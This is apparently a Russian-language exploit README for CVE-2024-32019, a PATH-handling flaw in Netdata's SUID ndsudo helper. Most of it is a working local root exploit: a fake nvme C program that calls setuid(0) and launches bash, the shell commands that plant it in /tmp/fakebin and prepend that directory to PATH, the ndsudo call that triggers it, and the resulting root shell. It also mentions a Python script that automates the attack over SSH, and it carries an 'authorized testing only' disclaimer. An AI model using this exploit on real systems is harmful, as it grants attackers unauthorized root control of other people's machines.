
CVE-2024-32019 — это уязвимость локального повышения привилегий высокой степени серьезности в Netdata (версии >= 1.44.0-60 < 1.45.3), вызванная небезопасным использованием переменной PATH в SUID-бинарном файле ndsudo, что позволяет злоумышленникам выполнять произвольные команды от имени root.
ndsudo Netdata в PATH (LPE до Root)Эксплойт на Python для CVE-2024-32019, критической уязвимости локального повышения привилегий в Netdata Agent, использующей некорректно настроенный SUID-бинарник (ndsudo), который небезопасно обрабатывает переменную окружения PATH.
[!Caution] Этот код предназначен только для образовательных и авторизованных целей тестирования. Несанкционированное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно.
CVE ID: CVE-2024-32019
CVSS Score: 8.8 (High)
Дата раскрытия: 12 апреля 2024
Компонент: Netdata Agent
Затронутые версии:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Инструмент ndsudo Netdata — это SUID-бинарник root, предназначенный для безопасного выполнения ограниченного набора системных команд (например, nvme) от имени непривилегированных пользователей.
Однако из-за ошибки реализации он учитывает управляемую пользователем переменную PATH при разрешении двоичных файлов команд. Если злоумышленник может изменить PATH, включив в него каталог с возможностью записи, содержащий вредоносный бинарник, ndsudo выполнит его с привилегиями root — что приведет к локальному повышению привилегий.
Следующие шаги демонстрируют, как вручную эксплуатировать уязвимость в ndsudo.
Сохраните следующий код C как nvme.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
which nvme
# Вывод: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
В случае успеха вы получите root-оболочку.
# whoami
root
Если у вас есть доступ по SSH, вы можете использовать CVE-2024-32019-dbs.py для автоматизации процесса.
